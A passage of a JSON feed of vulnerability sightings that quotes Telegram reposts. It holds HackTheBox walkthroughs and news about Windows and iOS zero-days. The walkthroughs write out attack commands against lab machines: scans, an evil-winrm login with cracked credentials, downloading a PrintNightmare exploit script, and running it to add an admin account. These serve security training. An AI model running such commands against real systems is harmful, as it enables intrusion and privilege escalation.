\n\nAfter finding the domain name we are adding it to /etc/hosts file in the attacking machine. To add to host\u2019s file you can use any text editor such as leafpad, gedit, nano or vim.\n\nWhy do we need to add domain in the local hosts file?\n\nThe /etc/hosts file contains a mapping of IP addresses to[...]", "vulnerability": "CVE-2021-3560", "author": {"login": "automation"}}, {"uuid": "a029e0d5-e52e-4acd-9e5b-c4c01eac6695", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:01.349809+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81238", "content": "Hacking Articles\nPandora HackTheBox Walkthrough\n\nSummaryPandora is a Linux machine and is considered an easy box by the hack the box but indeed it is not. With this box, we will need to perform another port scan instead of being relied on only TCP ports results. Then we will dig into SNMP protocol and find out very interesting information for us which will lead us to an initial foothold to the target machine. Then we will need to perform Horizontal privilege escalation and local port forward to enumerate service running on the target\u2019s internal port. Then we will exploit the admin console which is vulnerable to SQL injection and upload a malicious file to get a reverse shell as a different user. In the post-exploitation phase, we will abuse the SUID binary using path hijacking technique. Table of ContentInitial Access\n\n* TCP Port Scan\n* Enumeration\n* UDP Port Scan\n* SNMP Enumeration\n* User Shell as Daniel\n\nHorizontal Privilege Escalation\n\n* Enumeration\n* Port Forwarding\n* CVE-2021-32099 SQL injection Exploitation\n* File Upload\n* User Flag\n\nPrivilege Escalation\n\n* SSH Key Generate\n* SUID Path hijack\n* Root Flag\n\nLet\u2019s exploit it step by step. Initial AccessWe are going to start the assessment with the TCP/IP port scanning. TCP Port ScanLet\u2019s start with the port scan. We are using nmap to find out which ports are open so we can begin our port and service analyse. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used -sC and -sV flags.\n\nFlags features:\n\n-sC\u00a0\u00a0 : Scans with default NSE scripts\n\n-sV\u00a0\u00a0 :\u00a0 Attempts to determine the service version\n\nCommand used:\nnmap -sC -sV 10.129.26.243 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggzEIOKKimE5TO1DEb1dOq1Ced9FfQ8yxFD_3qWtKitCIJhWX73NUNykwZV7qG1H-x_YZDGqQUagpjMCzorKJ21k4vkmh0BpM-cE_7qwPmeJqdTSS6qnmxwZZS_G7u7H8Yo9JH29XA5s1FfDUDZ1OYwTDsn7XrGgKuTEqOMd_S_PcwtYX0p40Yx7uoPg/s16000/1.png?w=640&ssl=1 \n\nFrom the nmap scan, we have found there were only two ports open, which are port 80 and port 22. As usual HTTP service is running on port 80 and the SSH service is running on port 22. Http service is used for Webhosting and the SSH service is used for remote connection. SSH version is the latest and does not look vulnerable and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to. Instead of thinking about the SSH bruteforce let\u2019s start enumerating port 80. EnumerationWe begin enumeration by accessing port 80 over the browser. The webpage does not have many interesting things, but we can see the domain name is available there which is Panda.htb. Next thing we can analyse what this website is made for, and what it does. Remember every website is created for some purpose with this mindset we assumed this website is serving games and network monitoring solutions.\nhtttp://10.129.26.243 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqOXWdV-BU1atzeRt_jEHloQrnFNDjLuJdrer05e-OY-zJLwxnjpbd6eh5rRxVbDgjc4X2nY6E8cORDvyAy9Byn5GXrVPpmSRCvWYfWsEQjrWdLHx7zE2YZ7jg8Nb4uth35ULKEDAESt0ykZNiU1JxQKNh0ZdhBmJTZtsR5R84ZAL31y40rjRBwcMVug/s16000/2.png?w=640&ssl=1 UDP Port Scan Got stuck for some time as we did not get any lead to get a foothold into the target system, we decided to perform a UDP port scan. When we do a normal nmap scan, it only scans TCP ports but not UDP so many time UDP ports may lead us to interesting findings. After the completion of the UDP port scan, we found that SNMP port is open on its default port which is port 161. Now we can go for further enumeration against the SNMP port but let\u2019s talk about SNMP first.\n\nWhat is SNMP and what it is used for?\n\nSimple Network Management Protocol (SNMP) is a networking protocol used for the monitoring and management of the network-connected end devices in the internet protocol netwo[...]", "vulnerability": "CVE-2021-32099", "author": {"login": "automation"}}, {"uuid": "821380e2-3838-40c0-bd2f-b081f5f4bb66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:01.309228+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/80804", "content": "CVE-2022\u201342710: A journey through XXE to Stored-XSS\nhttps://omar0x01.medium.com/cve-2022-42710-a-journey-through-xxe-to-stored-xss-851d74dfe917?source=rss------bug_bounty-5", "vulnerability": "CVE-2022-42710", "author": {"login": "automation"}}, {"uuid": "b89eda59-701e-478a-bac7-9ba9a9254f95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:01.268079+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/80806", "content": "Hi everybody, I will share with you in this article in detail how I was able to find CVE-2022\u201342710 through static analysisContinue reading on Medium \u00bb (https://omar0x01.medium.com/cve-2022-42710-a-journey-through-xxe-to-stored-xss-851d74dfe917?source=rss------bug_bounty-5)", "vulnerability": "CVE-2022-42710", "author": {"login": "automation"}}, {"uuid": "40f93413-5613-4766-864f-4305bd2e829d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:01.224756+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/80922", "content": "Hacking Articles|Raj Chandel's Blog\nPandora HackTheBox Walkthrough\n\nSummaryPandora is Linux machine and considered as easy box by the hack the box but indeed it is not. With this box we will need to perform other port scan instead of being relied on only TCP ports results. Then we will dig about SNMP protocol and find out a very interesting information for us which will lead us to initial foothold to the target machine. Then we will need to perform Horizontal privilege escalation and local port forward to enumerate service running on target\u2019s internal port. Then we will exploit the admin console which is vulnerable to the SQL injection and upload malicious file to get a reverse shell as a different user. In the post exploitation phase, we will abuse SUID binary using path hijacking technique. <o:pTable of content<o:pInitial Access<o:p\n\n* TCP Port Scan<o:p\n* Enumeration<o:p\n* UDP Port Scan <o:p\n* SNMP Enumeration<o:p\n* User Shell as Daniel<o:p Horizontal Privilege Escalation<o:p\n\n* Enumeration<o:p\n* Port Forwarding<o:p\n* CVE-2021-32099 SQL injection Exploitation<o:p\n* File Upload <o:p\n* User Flag<o:p Privilege Escalation<o:p\n\n* SSH Key Generate<o:p\n* SUID Path hijack<o:p\n* Root Flag<o:p\n\nLet\u2019s exploit it step by step.<o:p Initial Access<o:pWe are going to start assessment with the TCP/IP port scanning.<o:p TCP Port Scan<o:pLet\u2019s start with the port scan. We are using nmap to find out which ports are open so we can begin our port and service analyse. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used -sCand -sVflags. <o:p\n\nFlags features:<o:p -sC: Scans with default NSE scripts<o:p -sV:\u00a0 Attempts to determine the service version<o:p Command used:<o:pnmap\u00a0 -sC -sV 10.129.26.243<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggzEIOKKimE5TO1DEb1dOq1Ced9FfQ8yxFD_3qWtKitCIJhWX73NUNykwZV7qG1H-x_YZDGqQUagpjMCzorKJ21k4vkmh0BpM-cE_7qwPmeJqdTSS6qnmxwZZS_G7u7H8Yo9JH29XA5s1FfDUDZ1OYwTDsn7XrGgKuTEqOMd_S_PcwtYX0p40Yx7uoPg/s16000/1.png From the nmap scan, we have found there were only two ports open, which is port 80and port 22. As usual HTTP serviceis running on port 80 and the SSH service is running on port 22. Http service is used for the webhosting and the SSH service is used for remote connection. SSH version is latest and does not look like vulnerable and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to. Instead of thinking about the SSH bruteforce let\u2019s start enumerating port 80. <o:p Enumeration<o:pWe begin enumeration by accessing port 80 over browser. Webpage does not have much interesting things, but we can see domain name is available there which is Panda.htb. Next thing we can analyse what this website made for, and it does. Remember every website is created for some purpose with this mindset we assumed this website is serving games and the network monitoring solutions. <o:p URL: htttp://10.129.26.243https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqOXWdV-BU1atzeRt_jEHloQrnFNDjLuJdrer05e-OY-zJLwxnjpbd6eh5rRxVbDgjc4X2nY6E8cORDvyAy9Byn5GXrVPpmSRCvWYfWsEQjrWdLHx7zE2YZ7jg8Nb4uth35ULKEDAESt0ykZNiU1JxQKNh0ZdhBmJTZtsR5R84ZAL31y40rjRBwcMVug/s16000/2.png UDP Port Scan <o:pGot stuck for some time as we did not get any lead to get foothold into the target system, we decided to perform an UDP port scan. When we do normal nmap scan, it only scans TCP ports but not UDP so many time UDP port may lead us to interesting findings. After the completion of the UDP port scan we found that SNMPport is open on its default port which is port 161. Now we can go for the[...]", "vulnerability": "CVE-2021-32099", "author": {"login": "automation"}}, {"uuid": "dbd4dfc2-b903-4ef8-821a-effefd050a83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:01.173648+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/80484", "content": "iXJkwnNCYKzaOE3LuH8CCAwPcm89UkYxBqJD8hDPq9Tg1g/s16000/5.png We save this hash into a file and then run john the ripper using rockyou dictionary file. We see a cracked credential \u201cliltony\u201d<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuKPCUMQtqotukioDpRZZFcu5o85o7gtRWm5l6BUG8Uk1f-IZGUI5ied9JaNWa978YS1KZB1StZmZDy9HJL7DPFmYfFlWqtaymMDhxnxB14hrzgFKSs3RRcMPD0sMfrfpQ92i4q1cEDJA4aRvb3rT6d2ePoTaLm_aEEvUxHIyvCrkgScxursek_rPhSA/s16000/6.png Next, we tried using SMB tools to access the shell to the server but it didn\u2019t work. In Nmap we see WinRM running so we tried evil-winrm to access tony\u2019s account. You can install evil-winrm using gem. Then we access user.txt on Desktop.<o:p gem install evil-winrm<o:pevil-winrm -i 10.129.32.68 -u tony -p liltony<o:pcd ..\\Desktop<o:pcat user.txt<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw_ZhBoyPp8lK6AmDRpK9FHMie6XYP630K_M3FqXaONwW8sjGM417mBbzvRv1hNTPOdWJ5bOTvh2dDrxIiGXtYPhu0m2v3Tjoab0XSwW9NxthF56S7IHHxww2V3UrFglCtouOgUiSQhETqXlQ5frr-GkhDt7dKOWlwEyQjh-egNMEdc8FRwwsMPniTLA/s16000/7.png Privilege Escalation<o:pTo enumerate further for privilege escalation, we use winPEASx64.exe. We can download this using wget.<o:p wget https://github.com/carlospolop/peass-ng/releases/download/20221006/winpeasx64.exe<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvi4oU_yxr59ZtjERx49jWO0lHlPFPZ9yHh1sadB0CTco5KzQxAp3nA7pALBLkA8_VsA-kU1DDThtL8zgMEHcUc0GUHmL7z6xpATG2Px8vWnlhQjn_VvTjm15gxfu40K3UpIufrBJx1F3xkuOFw4Iff4S5pbpiD_0YXSru4BwWLPUjQPBlt7xnC62kBw/s16000/8.png We can use the upload feature in evil-winrm to put this file on our box and then run it.<o:p upload /root/winpeasx64.exe<o:p.\\winpeasx64.exe<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiYdruDzGruDpK_loZHQYostw3OC7wq4EPlwJ0UJeUm7jFhRND-xAFPi9scg1RoE2czqrOiyPR4bQTSWJ8IWnE_3j8VhmeItgxWtqYrkF_PQAm42I7-oxS_2oDMw8lhTMSg6rNFpq-eknou_zInWMC2XPHpzPuwFUvQ_6WLakw43LvXPHigEJ02dDDPw/s16000/9.png In one of the findings, we see that a powershell history (ConsoleHost_history.txt) file was saved and accessible.<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu7ndYOtZ2_5iVU8f1U6dDbowG5yDFobAhmtTYZ4gSHfc57K4goHN6NXfAfsQJgQDiHXg5b7O7cGzl0HmXRpppCJM1qeOgDWGz8vxKSzKa8DDMkME4PlojS11Vx4bVcRlOMKdQE0D-Csk4AbuLfwE7H-QkgRKDL7s6DQt49RJwD114hvRt-052vJfp0A/s16000/10.png Upon accessing it, we can see that a printer driver for RICOH PCL6 printer was added.<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmZNKkOqqCBGQP-4a3LpZH0tPhZhJ4nEMwuUZZ1VUKFD-qlw8UYS2zi6bLkzKDG9YEk4puKZMmmlV-kjw9WZe3wRb4LneX5oOWu6Ouej1iC2QbWfaBWHNI4CO7n3CkJN7tTUG7ZJUo9TsKpMBZ8tzps4wFOYkhlKvD09usRN6r2B99i_wEORH9Gln97w/s16000/11.png Reading more about the driver, we found that it is vulnerable to PrintNightmare vulnerability. You can read more about it here. So, we download the powershell exploit created by John Hammond.<o:p wget https://raw.githubusercontent.com/johnhammond/cve-2021-34527/master/cve-2021-34527.ps1<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4mvaeS3-uHq8GIJbZwQSQgJ64E5JwwAkIbyTeHEUa_kB7aJtvLX_yztb0duNDEoGDYxnujYjxQaNU-JBS2yru41or4TVtXuW27sUP5qlEyLCLMIPNHI6rY2NDt25wqImAPEDcnODuJL5nBeAOFfQJoEJzswQd21CbE3LorQYXCIw6zKCk7Qxtv81S0Q/s16000/12.png Further, this exploit works by creating a new DLL, adding an admin account onto the box and then removing traces. So, we upload this exploit onto the box using evil-winrm and create our own admin account- aarti/Ignite@123987.<o:p Set-ExecutionPolicy RemoteSigned -Scope CurrentUser<o:pImport-Module .\\CVE-2021-34527.ps1<o:pInvoke-Nightmare -NewUser \"aarti\" -NewPassword \"Ignite@123987\"<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirb4LXSMvD8xO4v59mo-bE9IalObDjRilSKTO-XgDSLjBFqvHDTQWTcz3F9L2U3PedZbyJsb3lvb2i5inc-SREwH1pqeU2BZb2djOQFcC5Hk0bhG8D-Gh7w987p1X__1L1KY_OqYoklXqsaFTqHaapmXfuV9gYNZYryPY0EhcDro6Hmz9DmHHbhTBsaA/s16000[...]", "vulnerability": "CVE-2021-34527", "author": {"login": "automation"}}, {"uuid": "b978f9f6-bb6c-4131-bb08-1aebb7df82af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:01.131138+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/80488", "content": "he ripper using the rockyou dictionary file. We see a cracked credential \u201cliltony\u201d\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuKPCUMQtqotukioDpRZZFcu5o85o7gtRWm5l6BUG8Uk1f-IZGUI5ied9JaNWa978YS1KZB1StZmZDy9HJL7DPFmYfFlWqtaymMDhxnxB14hrzgFKSs3RRcMPD0sMfrfpQ92i4q1cEDJA4aRvb3rT6d2ePoTaLm_aEEvUxHIyvCrkgScxursek_rPhSA/s16000/6.png?w=640&ssl=1 \n\nNext, we tried using SMB tools to access the shell to the server but it didn\u2019t work. In Nmap we see WinRM running so we tried evil-winrm to access tony\u2019s account. You can install evil-winrm using gem. Then we access user.txt on Desktop.\ngem install evil-winrm\nevil-winrm -i 10.129.32.68 -u tony -p liltony\ncd ..\\Desktop\ncat user.txt \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw_ZhBoyPp8lK6AmDRpK9FHMie6XYP630K_M3FqXaONwW8sjGM417mBbzvRv1hNTPOdWJ5bOTvh2dDrxIiGXtYPhu0m2v3Tjoab0XSwW9NxthF56S7IHHxww2V3UrFglCtouOgUiSQhETqXlQ5frr-GkhDt7dKOWlwEyQjh-egNMEdc8FRwwsMPniTLA/s16000/7.png?w=640&ssl=1 Privilege EscalationTo enumerate further for privilege escalation, we use winPEASx64.exe. We can download this using wget.\nwget https://github.com/carlospolop/peass-ng/releases/download/20221006/winpeasx64.exe \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvi4oU_yxr59ZtjERx49jWO0lHlPFPZ9yHh1sadB0CTco5KzQxAp3nA7pALBLkA8_VsA-kU1DDThtL8zgMEHcUc0GUHmL7z6xpATG2Px8vWnlhQjn_VvTjm15gxfu40K3UpIufrBJx1F3xkuOFw4Iff4S5pbpiD_0YXSru4BwWLPUjQPBlt7xnC62kBw/s16000/8.png?w=640&ssl=1 \n\nWe can use the upload feature in evil-winrm to put this file on our box and then run it.\nupload /root/winpeasx64.exe\n.\\winpeasx64.exe \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiYdruDzGruDpK_loZHQYostw3OC7wq4EPlwJ0UJeUm7jFhRND-xAFPi9scg1RoE2czqrOiyPR4bQTSWJ8IWnE_3j8VhmeItgxWtqYrkF_PQAm42I7-oxS_2oDMw8lhTMSg6rNFpq-eknou_zInWMC2XPHpzPuwFUvQ_6WLakw43LvXPHigEJ02dDDPw/s16000/9.png?w=640&ssl=1 \n\nIn one of the findings, we see that a powershell history (ConsoleHost_history.txt) file was saved and accessible.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu7ndYOtZ2_5iVU8f1U6dDbowG5yDFobAhmtTYZ4gSHfc57K4goHN6NXfAfsQJgQDiHXg5b7O7cGzl0HmXRpppCJM1qeOgDWGz8vxKSzKa8DDMkME4PlojS11Vx4bVcRlOMKdQE0D-Csk4AbuLfwE7H-QkgRKDL7s6DQt49RJwD114hvRt-052vJfp0A/s16000/10.png?w=640&ssl=1 \n\nUpon accessing it, we can see that a printer driver for RICOH PCL6 printer was added.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmZNKkOqqCBGQP-4a3LpZH0tPhZhJ4nEMwuUZZ1VUKFD-qlw8UYS2zi6bLkzKDG9YEk4puKZMmmlV-kjw9WZe3wRb4LneX5oOWu6Ouej1iC2QbWfaBWHNI4CO7n3CkJN7tTUG7ZJUo9TsKpMBZ8tzps4wFOYkhlKvD09usRN6r2B99i_wEORH9Gln97w/s16000/11.png?w=640&ssl=1 \n\nReading more about the driver, we found it vulnerable to PrintNightmare vulnerability. You can read more about it here. So, we download the powershell exploit created by John Hammond.\nwget https://raw.githubusercontent.com/johnhammond/cve-2021-34527/master/cve-2021-34527.ps1 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4mvaeS3-uHq8GIJbZwQSQgJ64E5JwwAkIbyTeHEUa_kB7aJtvLX_yztb0duNDEoGDYxnujYjxQaNU-JBS2yru41or4TVtXuW27sUP5qlEyLCLMIPNHI6rY2NDt25wqImAPEDcnODuJL5nBeAOFfQJoEJzswQd21CbE3LorQYXCIw6zKCk7Qxtv81S0Q/s16000/12.png?w=640&ssl=1 \n\nFurther, this exploit works by creating a new DLL, adding an admin account to the box and then removing traces. So, we upload this exploit onto the box using evil-winrm and create our own admin account- aarti/Ignite@123987.\nSet-ExecutionPolicy RemoteSigned -Scope CurrentUser\nImport-Module .\\CVE-2021-34527.ps1\nInvoke-Nightmare -NewUser \"aarti\" -NewPassword \"Ignite@123987\" \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirb4LXSMvD8xO4v59mo-bE9IalObDjRilSKTO-XgDSLjBFqvHDTQWTcz3F9L2U3PedZbyJsb3lvb2i5inc-SREwH1pqeU2BZb2djOQFcC5Hk0bhG8D-Gh7w987p1X__1L1KY_OqYoklXqsaFTqHaapmXfuV9gYNZYryPY0EhcDro6Hmz9DmHHbhTBsaA/s16000/13.png?w=640&ssl=1 \n\nWe can confirm the exploit\u2019s working by checking the new user\u2019s existence in the server by using the net us[...]", "vulnerability": "CVE-2021-34527", "author": {"login": "automation"}}, {"uuid": "7df55688-2d9c-4c40-a134-55d16e54a4b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:01.092312+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/80542", "content": "Black Hat Ethical Hacking\nMicrosoft patches Windows zero-day used to drop ransomware\n\nMicrosoft patches Windows zero-day used to drop ransomwarePost Views: 37 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Microsoft has fixed a security vulnerability used by threat actors to circumvent the Windows SmartScreen security feature and deliver Magniber ransomware and Qbot malware payloads.The attackers used malicious standalone JavaScript files to exploit the CVE-2022-44698\u00a0zero-day to bypass Mark-of-the-Web security warnings displayed by Windows to alert users that files originating from the Internet should be treated with caution.\n\n\u201cAn attacker can craft a malicious file that would evade Mark of the Web (MOTW) defenses, resulting in a limited loss of integrity and availability of security features such as Protected View in Microsoft Office, which rely on MOTW tagging,\u201d Redmond explained\u00a0on Tuesday.\n\nAccording to Microsoft, this security flaw can only be exploited using three attack vectors:\n\n* In a web-based attack scenario, an attacker could host a malicious website that exploits the security feature bypass.\n* In an email or instant message attack scenario, the attacker could send the targeted user a specially crafted .url file to exploit the bypass.\n* Compromised websites or websites that accept or host user-provided content could contain specially crafted content to exploit the security feature bypass.\n\nHowever, in all these scenarios, the threat actors would have to trick their targets into opening malicious files or accessing attacker-controlled websites with CVE-2022-44698 exploits.\n\nMicrosoft released security updates to address this zero-day during the December 2022 Patch Tuesday after working on a fix for this actively exploited zero-day vulnerability since late October, as the company told BleepingComputer.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course \u200bExploited in malware attacksHP\u2019s threat intelligence team first reported in October that phishing attacks were distributing the Magniber ransomware\u00a0using standalone.JS JavaScript files digitally signed with a malformed as discovered\u00a0by Will Dormann, a senior vulnerability analyst at ANALYGENCE.\n\nThis would cause SmartCheck to error out and allow the malicious files to execute without throwing any security warnings and install the Magniber ransomware, even though it got tagged with a MoTW flag.\nhttps://www.bleepstatic.com/images/news/u/1220909/Diagrams/magniber-chain(1).png \n<figcaptionMagniber\u2019s JS infection chain (BleepingComputer) \nLast month, the same Windows zero-day vulnerability was also abused in phishing attacks to drop the Qbot malware\u00a0without displaying MOTW security warnings.\n\nAs security researcher ProxyLife found, threat actors behind this recent QBot phishing campaign switched to the Windows Mark of the Web zero-day by distributing JS files signed with the same malformed key used in the Magniber ransomware attacks.\n\nQBot (aka Qakbot) is a Windows banking trojan that has evolved into a malware dropper that will steal emails for use in subsequent phishing attacks or deliver additional payloads such as Brute Ratel, Cobalt Strike, and other malware.\nTrending: Exploit XSS Injections in a one-line powerful Technique Trending: Offensive Security Tool: Pycrypt The Egregor, Prolock, and Black Basta\u00a0ransomware operations are also known to have partnered with QBot to gain access to victims\u2019 corporate networks.\n\nDuring the December 2022\u00a0Patch Tuesday, Microsoft also fixed a publicly disclosed zero-day (CVE-2022-44710) that would allow attackers to gain SYSTEM privileges on unpatc[...]", "vulnerability": "CVE-2022-44698", "author": {"login": "automation"}}, {"uuid": "1a7b188b-b007-4308-a51f-a5cd34961ba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:01.041588+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/80542", "content": "Black Hat Ethical Hacking\nMicrosoft patches Windows zero-day used to drop ransomware\n\nMicrosoft patches Windows zero-day used to drop ransomwarePost Views: 37 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Microsoft has fixed a security vulnerability used by threat actors to circumvent the Windows SmartScreen security feature and deliver Magniber ransomware and Qbot malware payloads.The attackers used malicious standalone JavaScript files to exploit the CVE-2022-44698\u00a0zero-day to bypass Mark-of-the-Web security warnings displayed by Windows to alert users that files originating from the Internet should be treated with caution.\n\n\u201cAn attacker can craft a malicious file that would evade Mark of the Web (MOTW) defenses, resulting in a limited loss of integrity and availability of security features such as Protected View in Microsoft Office, which rely on MOTW tagging,\u201d Redmond explained\u00a0on Tuesday.\n\nAccording to Microsoft, this security flaw can only be exploited using three attack vectors:\n\n* In a web-based attack scenario, an attacker could host a malicious website that exploits the security feature bypass.\n* In an email or instant message attack scenario, the attacker could send the targeted user a specially crafted .url file to exploit the bypass.\n* Compromised websites or websites that accept or host user-provided content could contain specially crafted content to exploit the security feature bypass.\n\nHowever, in all these scenarios, the threat actors would have to trick their targets into opening malicious files or accessing attacker-controlled websites with CVE-2022-44698 exploits.\n\nMicrosoft released security updates to address this zero-day during the December 2022 Patch Tuesday after working on a fix for this actively exploited zero-day vulnerability since late October, as the company told BleepingComputer.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course \u200bExploited in malware attacksHP\u2019s threat intelligence team first reported in October that phishing attacks were distributing the Magniber ransomware\u00a0using standalone.JS JavaScript files digitally signed with a malformed as discovered\u00a0by Will Dormann, a senior vulnerability analyst at ANALYGENCE.\n\nThis would cause SmartCheck to error out and allow the malicious files to execute without throwing any security warnings and install the Magniber ransomware, even though it got tagged with a MoTW flag.\nhttps://www.bleepstatic.com/images/news/u/1220909/Diagrams/magniber-chain(1).png \n<figcaptionMagniber\u2019s JS infection chain (BleepingComputer) \nLast month, the same Windows zero-day vulnerability was also abused in phishing attacks to drop the Qbot malware\u00a0without displaying MOTW security warnings.\n\nAs security researcher ProxyLife found, threat actors behind this recent QBot phishing campaign switched to the Windows Mark of the Web zero-day by distributing JS files signed with the same malformed key used in the Magniber ransomware attacks.\n\nQBot (aka Qakbot) is a Windows banking trojan that has evolved into a malware dropper that will steal emails for use in subsequent phishing attacks or deliver additional payloads such as Brute Ratel, Cobalt Strike, and other malware.\nTrending: Exploit XSS Injections in a one-line powerful Technique Trending: Offensive Security Tool: Pycrypt The Egregor, Prolock, and Black Basta\u00a0ransomware operations are also known to have partnered with QBot to gain access to victims\u2019 corporate networks.\n\nDuring the December 2022\u00a0Patch Tuesday, Microsoft also fixed a publicly disclosed zero-day (CVE-2022-44710) that would allow attackers to gain SYSTEM privileges on unpatc[...]", "vulnerability": "CVE-2022-44710", "author": {"login": "automation"}}, {"uuid": "64957538-0a6b-4a59-b066-2a038710dc73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.997631+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/80394", "content": "Black Hat Ethical Hacking\nApple security update fixes new iOS zero-day used to hack iPhones\n\nApple security update fixes new iOS zero-day used to hack iPhonesPost Views: 114 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes In security updates released today, Apple has fixed the tenth zero-day vulnerability since the start of the year, with this latest one actively used in attacks against iPhones.The vulnerability was disclosed in security bulletins released today for iOS/iPadOS 15.7.2, Safari 16.2, tvOS 16.2, and macOS Ventura 13.1, with Apple warning that the flaw \u201cmay have been actively exploited\u201d against previous versions.\n\nThe bug (CVE-2022-42856) is a type confusion issue in Apple\u2019s Webkit web browser browsing engine.\n\nThe flaw was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Analysis Group, allowing maliciously crafted web content to perform arbitrary code execution on a vulnerable device.\n\nArbitrary code execution could allow the malicious site to execute commands in the operating system, deploy additional malware or spyware, or perform other malicious actions.\n\nApple addressed the zero-day vulnerability with improved state handling for the following devices\u00a0iPhone 6s (all models), iPhone 7 (all models), iPhone SE (1st generation),\u00a0iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Patch your iPhones, iPads, and macOS\u00a0VenturaWhile Apple has disclosed that threat actors actively exploited the vulnerability, they have yet to provide any details on the attacks.\n\nHowever, as the vulnerability was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Intelligence Team, we will likely learn more in a future blog post.\n\nThis delay in providing details is commonly done to allow users to patch their devices before other threat actors analyze the fixes and develop their own exploits.\n\nEven though this zero-day flaw was likely used in highly-targeted attacks, it is still suggested to install today\u2019s security updates as soon as possible.\nTrending: Exploit XSS Injections in a one-line powerful Technique Trending: Offensive Security Tool: Pycrypt This is the tenth zero-day fixed by Apple since the start of the year:\n\n* In October, Apple fixed a zero-day\u00a0in the iOS Kernel (CVE-2022-42827).\n* In September, Apple addressed a flaw\u00a0in the iOS Kernel (CVE-2022-32917).\n* In August, it fixed two more zero-days\u00a0in the iOS Kernel (CVE-2022-32894) and WebKit (CVE-2022-32893)\n* In March, Apple patched two zero-day\u00a0in the Intel Graphics Driver (CVE-2022-22674) and AppleAVD (CVE-2022-22675).\n* In February, Apple released security updates to address another WebKit zero-day bug\u00a0exploited to target iPhones, iPads, and Macs.\n* In January, Apple patched another pair of zero-days\u00a0allowing code execution with kernel privileges (CVE-2022-22587) and web browsing activity tracking (CVE-2022-22594). \nTrending: Kali Linux 2022.4 \u2013 New Release adds 6 new tools, Kali NetHunter Update, Azure Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Images-for-the-News-po[...]", "vulnerability": "CVE-2022-22594", "author": {"login": "automation"}}, {"uuid": "61a2ed8c-2ad7-4742-bc8c-a4e221801a7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", 